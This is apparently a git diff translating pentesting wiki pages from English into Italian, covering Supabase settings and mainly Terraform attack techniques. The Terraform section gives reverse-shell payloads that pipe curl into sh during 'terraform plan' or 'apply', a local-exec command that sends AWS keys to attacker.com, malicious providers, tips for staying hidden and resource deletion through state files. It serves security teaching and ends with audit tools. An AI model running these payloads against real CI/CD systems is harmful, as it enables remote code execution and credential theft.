+Un **JWT Secret** verrà generato anche affinché l'applicazione possa **creare e firmare token JWT personalizzati**.
-## Authentication
+## Autenticazione
-### Signups
+### Registrazioni
> [!TIP]
-> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
+> Per **default** supabase consentirà **ai nuovi utenti di creare account** nel tuo progetto utilizzando gli endpoint API precedentemente menzionati.
-However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
-This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
+Tuttavia, questi nuovi account, per impostazione predefinita, **dovranno convalidare il loro indirizzo email** per poter accedere all'account. È possibile abilitare **"Consenti accessi anonimi"** per consentire alle persone di accedere senza verificare il loro indirizzo email. Questo potrebbe concedere accesso a **dati inaspettati** (ottengono i ruoli `public` e `authenticated`).\
+Questa è un'idea molto cattiva perché supabase addebita per utente attivo, quindi le persone potrebbero creare utenti e accedere e supabase addebiterà per questi:
-### Passwords & sessions
+### Password e sessioni
-It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
-It's recommended to **improve the requirements as the default ones are weak**.
+È possibile indicare la lunghezza minima della password (per impostazione predefinita), i requisiti (nessuno per impostazione predefinita) e vietare l'uso di password compromesse.\
+Si consiglia di **migliorare i requisiti poiché quelli predefiniti sono deboli**.
-- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
-- Bot and Abuse Protection: It's possible to enable Captcha.
+- Sessioni utente: È possibile configurare come funzionano le sessioni utente (timeout, 1 sessione per utente...)
+- Protezione da bot e abusi: È possibile abilitare Captcha.
-### SMTP Settings
+### Impostazioni SMTP
-It's possible to set an SMTP to send emails.
+È possibile impostare un SMTP per inviare email.
-### Advanced Settings
+### Impostazioni avanzate
-- Set expire time to access tokens (3600 by default)
-- Set to detect and revoke potentially compromised refresh tokens and timeout
-- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
-- Max Direct Database Connections: Max number of connections used to auth (10 by default)
-- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
+- Imposta il tempo di scadenza per i token di accesso (3600 per impostazione predefinita)
+- Imposta per rilevare e revocare i token di aggiornamento potenzialmente compromessi e timeout
+- MFA: Indica quanti fattori MFA possono essere registrati contemporaneamente per utente (10 per impostazione predefinita)
+- Max Connessioni Dirette al Database: Numero massimo di connessioni utilizzate per l'autenticazione (10 per impostazione predefinita)
+- Massima Durata della Richiesta: Tempo massimo consentito per una richiesta di autenticazione (10s per impostazione predefinita)
-## Storage
+## Archiviazione
> [!TIP]
-> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
+> Supabase consente **di archiviare file** e renderli accessibili tramite un URL (utilizza bucket S3).
-- Set the upload file size limit (default is 50MB)
-- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
-- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
+- Imposta il limite di dimensione del file da caricare (il predefinito è 50MB)
+- La connessione S3 è fornita con un URL come: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
+- È possibile **richiedere una chiave di accesso S3** che è formata da un `access key ID` (ad es. `a37d96544d82ba90057e0e06131d0a7b`) e una `secret access key` (ad es. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
-## Edge Functions
+## Funzioni Edge
-It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
+È possibile **archiviare segreti** in supabase che saranno **accessibili dalle funzioni edge** (possono essere create e eliminate dal web, ma non è possibile accedere direttamente al loro valore).
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index 09b875ff2..1c2f1457d 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -1,308 +1,278 @@
-# Terraform Security
+# Sicurezza di Terraform
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Informazioni di base
-[From the docs:](https://developer.hashicorp.com/terraform/intro)
+[Dal documento:](https://developer.hashicorp.com/terraform/intro)
-HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
+HashiCorp Terraform è uno **strumento di infrastruttura come codice** che ti consente di definire sia **risorse cloud che on-prem** in file di configurazione leggibili dall'uomo che puoi versionare, riutilizzare e condividere. Puoi quindi utilizzare un flusso di lavoro coerente per fornire e gestire tutta la tua infrastruttura durante il suo ciclo di vita. Terraform può gestire componenti a basso livello come risorse di calcolo, archiviazione e rete, così come componenti ad alto livello come voci DNS e funzionalità SaaS.
-#### How does Terraform work?
+#### Come funziona Terraform?
-Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
+Terraform crea e gestisce risorse su piattaforme cloud e altri servizi attraverso le loro interfacce di programmazione delle applicazioni (API). I provider consentono a Terraform di lavorare con praticamente qualsiasi piattaforma o servizio con un'API accessibile.
.png>)
-HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
+HashiCorp e la comunità di Terraform hanno già scritto **più di 1700 provider** per gestire migliaia di diversi tipi di risorse e servizi, e questo numero continua a crescere. Puoi trovare tutti i provider disponibili pubblicamente nel [Terraform Registry](https://registry.terraform.io/), inclusi Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog e molti altri.
-The core Terraform workflow consists of three stages:
+Il flusso di lavoro principale di Terraform consiste in tre fasi:
-- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
-- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
-- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
+- **Scrivi:** Definisci risorse, che possono essere distribuite su più provider e servizi cloud. Ad esempio, potresti creare una configurazione per distribuire un'applicazione su macchine virtuali in una rete Virtual Private Cloud (VPC) con gruppi di sicurezza e un bilanciatore di carico.
+- **Pianifica:** Terraform crea un piano di esecuzione che descrive l'infrastruttura che creerà, aggiornerà o distruggerà in base all'infrastruttura esistente e alla tua configurazione.
+- **Applica:** Su approvazione, Terraform esegue le operazioni proposte nell'ordine corretto, rispettando eventuali dipendenze delle risorse. Ad esempio, se aggiorni le proprietà di un VPC e cambi il numero di macchine virtuali in quel VPC, Terraform ricreerà il VPC prima di scalare le macchine virtuali.
.png>)
-### Terraform Lab
+### Laboratorio Terraform
-Just install terraform in your computer.
+Basta installare terraform sul tuo computer.
-Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
+Qui hai una [guida](https://learn.hashicorp.com/tutorials/terraform/install-cli) e qui hai il [modo migliore per scaricare terraform](https://www.terraform.io/downloads).
## RCE in Terraform
-Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**.
+Terraform **non ha una piattaforma che espone una pagina web o un servizio di rete** che possiamo enumerare, quindi, l'unico modo per compromettere terraform è **essere in grado di aggiungere/modificare i file di configurazione di terraform**.
-However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
+Tuttavia, terraform è un **componente molto sensibile** da compromettere perché avrà **accesso privilegiato** a diverse posizioni affinché possa funzionare correttamente.
-The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
+Il modo principale per un attaccante di compromettere il sistema in cui terraform è in esecuzione è **compromettere il repository che memorizza le configurazioni di terraform**, perché a un certo punto verranno **interpretate**.
-Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
+In realtà, ci sono soluzioni là fuori che **eseguono automaticamente terraform plan/apply dopo che è stata creata una PR**, come **Atlantis**:
{{#ref}}
atlantis-security.md
{{#endref}}
-If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
+Se riesci a compromettere un file terraform, ci sono diversi modi in cui puoi eseguire RCE quando qualcuno esegue `terraform plan` o `terraform apply`.
### Terraform plan
-Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
+Terraform plan è il **comando più utilizzato** in terraform e gli sviluppatori/soluzioni che utilizzano terraform lo chiamano tutto il tempo, quindi il **modo più semplice per ottenere RCE** è assicurarsi di avvelenare un file di configurazione terraform che eseguirà comandi arbitrari in un `terraform plan`.
-**Using an external provider**
+**Utilizzando un provider esterno**
-Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
-
-Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
+Terraform offre il [`provider` esterno](https://registry.terraform.io/providers/hashicorp/external/latest/docs) che fornisce un modo per interfacciarsi tra Terraform e programmi esterni. Puoi utilizzare la sorgente dati `esterno` per eseguire codice arbitrario durante un `plan`.
+Iniettando in un file di configurazione terraform qualcosa di simile al seguente eseguirà una rev shell quando si esegue `terraform plan`:
```javascript
data "external" "example" {
- program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
+program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
+**Utilizzando un provider personalizzato**
-**Using a custom provider**
-
-An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
-
+Un attaccante potrebbe inviare un [provider personalizzato](https://learn.hashicorp.com/tutorials/terraform/provider-setup) al [Terraform Registry](https://registry.terraform.io/) e poi aggiungerlo al codice Terraform in un branch di funzionalità ([esempio da qui](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
- terraform {
- required_providers {
- evil = {
- source = "evil/evil"
- version = "1.0"
- }
- }
- }
+terraform {
+required_providers {
+evil = {
+source = "evil/evil"
+version = "1.0"
+}
+}
+}
provider "evil" {}
```
+Il provider viene scaricato nell'`init` e eseguirà il codice malevolo quando viene eseguito `plan`.
-The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
+Puoi trovare un esempio in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
-You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
+**Utilizzando un riferimento esterno**
-**Using an external reference**
-
-Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
-
-- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
+Entrambe le opzioni menzionate sono utili ma non molto furtive (la seconda è più furtiva ma più complessa della prima). Puoi eseguire questo attacco anche in un **modo più furtivo**, seguendo questi suggerimenti:
+- Invece di aggiungere direttamente la rev shell nel file terraform, puoi **caricare una risorsa esterna** che contiene la rev shell:
```javascript
module "not_rev_shell" {
- source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
+source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
+Puoi trovare il codice rev shell in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-
-- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- Nella risorsa esterna, usa la funzione **ref** per nascondere il **codice rev shell terraform in un branch** all'interno del repo, qualcosa come: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
-Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
-You just need to make sure some payload like the following ones ends in the `main.tf` file:
-
+Terraform apply verrà eseguito per applicare tutte le modifiche, puoi anche abusarne per ottenere RCE iniettando **un file Terraform malevolo con** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
+Devi solo assicurarti che qualche payload come i seguenti termini nel file `main.tf`:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
- provisioner "local-exec" {
- command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
- }
+provisioner "local-exec" {
+command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
+}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
- provisioner "local-exec" {
- command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
- }
+provisioner "local-exec" {
+command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
+}
}
```
+Segui le **suggerimenti della tecnica precedente** per eseguire questo attacco in modo **più furtivo utilizzando riferimenti esterni**.
-Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
-
-## Secrets Dumps
-
-You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
+## Dump di Segreti
+Puoi avere **valori segreti utilizzati da terraform dumpati** eseguendo `terraform apply` aggiungendo al file terraform qualcosa come:
```json
output "dotoken" {
- value = nonsensitive(var.do_token)
+value = nonsensitive(var.do_token)
}
```
+## Abusare dei file di stato di Terraform
-## Abusing Terraform State Files
+Nel caso in cui tu abbia accesso in scrittura ai file di stato di terraform ma non possa modificare il codice terraform, [**questa ricerca**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) offre alcune opzioni interessanti per sfruttare il file:
-In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file:
+### Cancellazione delle risorse
-### Deleting resources
+Ci sono 2 modi per distruggere le risorse:
-There are 2 ways to destroy resources:
-
-1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
-
-Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
+1. **Inserire una risorsa con un nome casuale nel file di stato che punta alla vera risorsa da distruggere**
+Poiché terraform vedrà che la risorsa non dovrebbe esistere, la distruggerà (seguendo l'ID della vera risorsa indicato). Esempio dalla pagina precedente:
```json
{
- "mode": "managed",
- "type": "aws_instance",
- "name": "example",
- "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
- "instances": [
- {
- "attributes": {
- "id": "i-1234567890abcdefg"
- }
- }
- ]
+"mode": "managed",
+"type": "aws_instance",
+"name": "example",
+"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
+"instances": [
+{
+"attributes": {
+"id": "i-1234567890abcdefg"
+}
+}
+]
},
```
+2. **Modifica la risorsa da eliminare in modo che non sia possibile aggiornarla (quindi verrà eliminata e ricreata)**
-2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
-
-For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
+Per un'istanza EC2, modificare il tipo dell'istanza è sufficiente per far sì che terraform la elimini e la ricrei.
### RCE
-It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research:
-
+È anche possibile [creare un provider personalizzato](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) e semplicemente sostituire uno dei provider nel file di stato terraform con quello malevolo o aggiungere una risorsa vuota con il provider malevolo. Esempio dalla ricerca originale:
```json
"resources": [
{
- "mode": "managed",
- "type": "scaffolding_example",
- "name": "example",
- "provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
- "instances": [
+"mode": "managed",
+"type": "scaffolding_example",
+"name": "example",
+"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
+"instances": [
- ]
+]
},
```
+### Sostituire il provider in blacklist
-### Replace blacklisted provider
-
-In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
-
+In caso tu incontri una situazione in cui `hashicorp/external` è stato messo in blacklist, puoi re-implementare il provider `external` facendo quanto segue. Nota: utilizziamo un fork del provider esterno pubblicato da https://registry.terraform.io/providers/nazarewk/external/latest. Puoi pubblicare anche il tuo fork o re-implementazione.
```terraform
terraform {
- required_providers {
- external = {
- source = "nazarewk/external"
- version = "3.0.0"
- }
- }
+required_providers {
+external = {
+source = "nazarewk/external"
+version = "3.0.0"
+}
+}
}
```
-
-Then you can use `external` as per normal.
-
+Poi puoi usare `external` come al solito.
```terraform
data "external" "example" {
- program = ["sh", "-c", "whoami"]
+program = ["sh", "-c", "whoami"]
}
```
-
-## Automatic Audit Tools
+## Strumenti di Audit Automatici
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
-Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
-
-- **Features:**
- - Real-time scanning for security vulnerabilities and compliance issues.
- - Integration with version control systems (GitHub, GitLab, Bitbucket).
- - Automated fix pull requests.
- - Detailed remediation advice.
-- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
+Snyk offre una soluzione completa di scansione per l'Infrastructure as Code (IaC) che rileva vulnerabilità e misconfigurazioni in Terraform, CloudFormation, Kubernetes e altri formati IaC.
+- **Caratteristiche:**
+- Scansione in tempo reale per vulnerabilità di sicurezza e problemi di conformità.
+- Integrazione con sistemi di controllo versione (GitHub, GitLab, Bitbucket).
+- Richieste di pull per correzioni automatiche.
+- Consigli dettagliati per la remediation.
+- **Registrati:** Crea un account su [Snyk](https://snyk.io/).
```bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
```
-
### [Checkov](https://github.com/bridgecrewio/checkov)
-**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
+**Checkov** è uno strumento di analisi statica del codice per l'infrastruttura come codice (IaC) e anche uno strumento di analisi della composizione del software (SCA) per immagini e pacchetti open source.
-It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
-
-It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
+Scansiona l'infrastruttura cloud fornita utilizzando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) o [OpenTofu](https://opentofu.org/) e rileva configurazioni errate di sicurezza e conformità utilizzando la scansione basata su grafi.
+Esegue la [scansione dell'analisi della composizione del software (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), che è una scansione di pacchetti open source e immagini per Vulnerabilità e Esposizioni Comuni (CVE).
```bash
pip install checkov
checkov -d /path/to/folder
```
-
### [terraform-compliance](https://github.com/terraform-compliance/cli)
-From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
+Dalla [**documentazione**](https://github.com/terraform-compliance/cli): `terraform-compliance` è un framework di test leggero, focalizzato sulla sicurezza e sulla conformità, contro terraform per abilitare la capacità di test negativi per la tua infrastruttura come codice.
-- **compliance:** Ensure the implemented code is following security standards, your own custom standards
-- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
-- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
-- **pre-deploy:** it validates your code before it is deployed
-- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
-- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
+- **conformità:** Assicurati che il codice implementato segua gli standard di sicurezza e i tuoi standard personalizzati
+- **sviluppo guidato dal comportamento:** Abbiamo BDD per quasi tutto, perché non per IaC?
+- **portabile:** basta installarlo da `pip` o eseguirlo tramite `docker`. Vedi [Installazione](https://terraform-compliance.com/pages/installation/)
+- **pre-deploy:** valida il tuo codice prima che venga distribuito
+- **facile da integrare:** può essere eseguito nella tua pipeline (o nei git hook) per garantire che tutte le distribuzioni siano validate.
+- **separazione dei compiti:** puoi mantenere i tuoi test in un repository diverso dove un team separato è responsabile.
> [!NOTE]
-> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
-
+> Sfortunatamente, se il codice utilizza alcuni provider a cui non hai accesso, non sarai in grado di eseguire il `terraform plan` e utilizzare questo strumento.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
```
-
### [tfsec](https://github.com/aquasecurity/tfsec)
-From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
-
-- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
-- ⛔ Hundreds of built-in rules
-- 🪆 Scans modules (local and remote)
-- ➕ Evaluates HCL expressions as well as literal values
-- ↪️ Evaluates Terraform functions e.g. `concat()`
-- 🔗 Evaluates relationships between Terraform resources
-- 🧰 Compatible with the Terraform CDK
-- 🙅 Applies (and embellishes) user-defined Rego policies
-- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
-- 🛠️ Configurable (via CLI flags and/or config file)
-- ⚡ Very fast, capable of quickly scanning huge repositories
+Dalla [**documentazione**](https://github.com/aquasecurity/tfsec): tfsec utilizza l'analisi statica del tuo codice terraform per individuare potenziali misconfigurazioni.
+- ☁️ Controlla le misconfigurazioni su tutti i principali (e alcuni minori) fornitori di cloud
+- ⛔ Centinaia di regole integrate
+- 🪆 Scansione dei moduli (locali e remoti)
+- ➕ Valuta le espressioni HCL così come i valori letterali
+- ↪️ Valuta le funzioni Terraform ad es. `concat()`
+- 🔗 Valuta le relazioni tra le risorse Terraform
+- 🧰 Compatibile con il Terraform CDK
+- 🙅 Applica (e arricchisce) le politiche Rego definite dall'utente
+- 📃 Supporta più formati di output: lovely (predefinito), JSON, SARIF, CSV, CheckStyle, JUnit, testo, Gif.
+- 🛠️ Configurabile (tramite flag CLI e/o file di configurazione)
+- ⚡ Molto veloce, in grado di scansionare rapidamente enormi repository
```bash
brew install tfsec
tfsec /path/to/folder
```
-
### [KICKS](https://github.com/Checkmarx/kics)
-Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
-
-**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
+Trova vulnerabilità di sicurezza, problemi di conformità e misconfigurazioni dell'infrastruttura precocemente nel ciclo di sviluppo della tua infrastruttura-as-code con **KICS** di Checkmarx.
+**KICS** sta per **K**eeping **I**nfrastructure as **C**ode **S**ecure, è open source ed è un must-have per qualsiasi progetto cloud native.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
-
### [Terrascan](https://github.com/tenable/terrascan)
-From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
-
-- Seamlessly scan infrastructure as code for misconfigurations.
-- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
-- Detect security vulnerabilities and compliance violations.
-- Mitigate risks before provisioning cloud native infrastructure.
-- Offers flexibility to run locally or integrate with your CI\CD.
+Dalla [**documentazione**](https://github.com/tenable/terrascan): Terrascan è un analizzatore di codice statico per l'Infrastructure as Code. Terrascan ti consente di:
+- Scansionare senza problemi l'infrastruttura come codice per configurazioni errate.
+- Monitorare l'infrastruttura cloud provisionata per cambiamenti di configurazione che introducono deriva della postura e consente di tornare a una postura sicura.
+- Rilevare vulnerabilità di sicurezza e violazioni di conformità.
+- Mitigare i rischi prima di provisionare l'infrastruttura cloud nativa.
+- Offrire flessibilità per eseguire localmente o integrarsi con il tuo CI\CD.
```bash
brew install terrascan
```
-
-## References
+## Riferimenti
- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
@@ -310,7 +280,3 @@ brew install terrascan
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md
index 63a3bb5c8..ffb835c91 100644
--- a/src/pentesting-ci-cd/todo.md
+++ b/src/pentesting-ci-cd/todo.md
@@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
-Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
+Le PR di Github sono benvenute per spiegare come (ab)usare queste piattaforme da una prospettiva di attaccante
- Drone
- TeamCity
@@ -11,10 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke
- Rancher
- Mesosphere
- Radicle
-- Any other CI/CD platform...
+- Qualsiasi altra piattaforma CI/CD...
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md
index cff623392..443c33e9e 100644
--- a/src/pentesting-ci-cd/travisci-security/README.md
+++ b/src/pentesting-ci-cd/travisci-security/README.md
@@ -4,7 +4,7 @@
## What is TravisCI
-**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
+**Travis CI** è un servizio di **integrazione continua** **hosted** o on **premises** utilizzato per costruire e testare progetti software ospitati su diverse **differenti piattaforme git**.
{{#ref}}
basic-travisci-information.md
@@ -14,48 +14,48 @@ basic-travisci-information.md
### Triggers
